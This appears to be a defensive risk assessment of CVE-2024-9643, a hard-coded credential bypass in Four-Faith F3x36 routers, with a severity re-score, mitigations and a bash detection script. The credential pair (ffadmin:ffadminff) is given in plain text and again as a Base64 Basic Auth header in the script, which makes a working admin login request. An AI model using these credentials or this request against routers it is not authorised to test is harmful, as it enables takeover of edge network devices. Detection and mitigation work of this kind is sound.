The Four-Faith F3x36 router using firmware v2

CVE-2024-9643 is an authentication bypass in the Four-Faith F3x36 administrative web server caused by hard-coded debug credentials. The affected target is tightly scoped: Four-Faith F3x36 routers running firmware v2.0.0. Cisco Talos documented the underlying pattern in a related codebase: the web server accepts a fixed Basic Auth pair (ffadmin:ffadminff), which turns an ordinary admin page request into a full administrative session.

The vendor/CNA 9.8 CRITICAL score is technically defensible in a vacuum because exploitation is remote, unauthenticated, and lands on the management plane of an edge router. In the real world, I would downgrade one notch to HIGH because the exposure population is narrow: one industrial router family, one firmware line, and a niche enterprise footprint. That said, the downgrade is modest because this is still an internet-weaponizable edge-device bug, public detection content exists, and CrowdSec reported active exploitation beginning April 20, 2026 with mass exploitation by May 12, 2026.

Why this verdict

• Start at 9.8: vendor scoring is reasonable because this is remote, unauthenticated admin compromise of an edge router.
• Adjust down for product narrowness: affected scope is one industrial router line and a specifically cited firmware build, which sharply limits the reachable population compared with Exchange, PAN-OS, or Ivanti-class fleet issues.
• Adjust down for blast radius per event: a compromise usually burns one router/site at a time; the impact is severe locally but not inherently domain-wide without additional pivot paths.
• Adjust back up for attacker position: no auth, no user interaction, and no prior foothold are required if the management UI is exposed.
• Adjust back up for current threat reality: CrowdSec reported active exploitation beginning 2026-04-20 and mass exploitation on 2026-05-12, which removes any 'theoretical only' comfort.

Why not higher?

I am not calling this CRITICAL because the real-world victim population is constrained by product, firmware, and deployment model. Most enterprises do not run large fleets of Four-Faith F3x36 routers, and many that do will keep management access behind carrier/private network controls or VPNs. That narrowing matters.

Why not lower?

I am not pushing this to MEDIUM because the exploit chain does not require prior compromise, credentials, or user interaction once the interface is reachable. On an exposed device, this is direct admin takeover of an edge communications node, and active abuse is already documented.

1. Block internet access to the admin UI — Remove HTTP/HTTPS management exposure from the public internet and untrusted WAN segments. For a HIGH verdict, deploy this compensating control within 30 days; because there is active exploitation evidence, treat it as immediate, within hours in practice.
2. Restrict management to a VPN or jump host — Force administration through a private APN, site-to-site VPN, or bastion with source-IP allowlisting so the hard-coded credential path is not reachable by arbitrary scanners. Implement within 30 days, or within hours if the device is currently internet-facing.
3. Segment the router from critical OT and IT zones — Assume a compromised router becomes an adversary-controlled pivot and proxy. Apply ACLs so the device can reach only required upstream services and cannot freely initiate east-west traffic; for HIGH, complete within 30 days.
4. Monitor for admin-page probes and config drift — Alert on requests to admin resources such as /Status_Router.asp, unexpected Basic Auth attempts, DNS changes, route changes, and unexplained outbound beaconing. Detection content should be enabled immediately if patching is delayed.
5. Inventory firmware precisely — Confirm which F3x36 assets are actually on v2.0.0 and prioritize only the genuinely exposed subset. Do this within 30 days, but front-load internet-facing devices first because scope clarity directly reduces risk.

Run this from an auditor workstation or jump host that can reach the router over HTTP/HTTPS; it does not need shell access on the device. Invoke it as ./check_cve_2024_9643.sh http://192.0.2.10 or ./check_cve_2024_9643.sh https://router.example.com; no special privileges are required beyond network reachability.

#!/usr/bin/env bash
# Check for CVE-2024-9643 on Four-Faith F3x36 routers
# Usage: ./check_cve_2024_9643.sh http://HOST[:PORT]
# Exit codes:
#   0 = PATCHED
#   1 = VULNERABLE
#   2 = UNKNOWN / error

set -u

TARGET="${1:-}"
PATH_CHECK="/Status_Router.asp"
AUTH_HEADER="Authorization: Basic ZmZhZG1pbjpmZmFkbWluZmY="
TIMEOUT=10

if [[ -z "$TARGET" ]]; then
  echo "UNKNOWN: usage: $0 http://HOST[:PORT]"
  exit 2
fi

# Trim trailing slash if present
TARGET="${TARGET%/}"
URL="${TARGET}${PATH_CHECK}"

fetch_headers() {
  local extra_header="$1"
  if [[ -n "$extra_header" ]]; then
    curl -k -sS -I --max-time "$TIMEOUT" -H "$extra_header" "$URL"
  else
    curl -k -sS -I --max-time "$TIMEOUT" "$URL"
  fi
}

fetch_body() {
  local extra_header="$1"
  if [[ -n "$extra_header" ]]; then
    curl -k -sS --max-time "$TIMEOUT" -H "$extra_header" "$URL"
  else
    curl -k -sS --max-time "$TIMEOUT" "$URL"
  fi
}

noauth_headers="$(fetch_headers "" 2>/dev/null)" || {
  echo "UNKNOWN: target unreachable or HTTP error"
  exit 2
}

auth_headers="$(fetch_headers "$AUTH_HEADER" 2>/dev/null)" || {
  echo "UNKNOWN: authenticated probe failed"
  exit 2
}

auth_body="$(fetch_body "$AUTH_HEADER" 2>/dev/null | head -c 4096)" || {
  echo "UNKNOWN: could not retrieve response body"
  exit 2
}

noauth_code="$(printf '%s' "$noauth_headers" | awk 'toupper($1) ~ /^HTTP\// {print $2; exit}')"
auth_code="$(printf '%s' "$auth_headers" | awk 'toupper($1) ~ /^HTTP\// {print $2; exit}')"

# Heuristics:
# - unauthenticated request usually returns 401/403 on protected admin page
# - vulnerable target accepts fixed debug Basic Auth and returns 200 + HTML that is not Unauthorized page
if [[ "$auth_code" == "200" ]]; then
  if printf '%s' "$auth_body" | grep -qiE '401 Unauthorized|The resource is `Unauthorized`|<TITLE>401 Unauthorized</TITLE>'; then
    echo "PATCHED"
    exit 0
  fi

  if printf '%s' "$auth_body" | grep -qiE '<html|<!DOCTYPE html|XHTML'; then
    echo "VULNERABLE"
    exit 1
  fi
fi

if [[ "$auth_code" == "401" || "$auth_code" == "403" ]]; then
  echo "PATCHED"
  exit 0
fi

if [[ "$noauth_code" == "401" || "$noauth_code" == "403" ]]; then
  echo "UNKNOWN: target appears protected, but hard-coded credential acceptance was not confirmed"
  exit 2
fi

echo "UNKNOWN: inconclusive response (noauth=$noauth_code auth=$auth_code)"
exit 2

Sources

1. NVD CVE-2024-9643
2. VulnCheck advisory: Four-Faith Hard-coded Credentials
3. Cisco Talos TALOS-2023-1752 related debug credential research
4. CrowdSec report: CVE-2024-9643 active exploitation
5. ProjectDiscovery nuclei-templates release notes
6. VulnCheck blog: Four-Faith industrial router CVE-2024-12856 exploited in the wild
7. Four-Faith F3x36 product page
8. CISA Known Exploited Vulnerabilities Catalog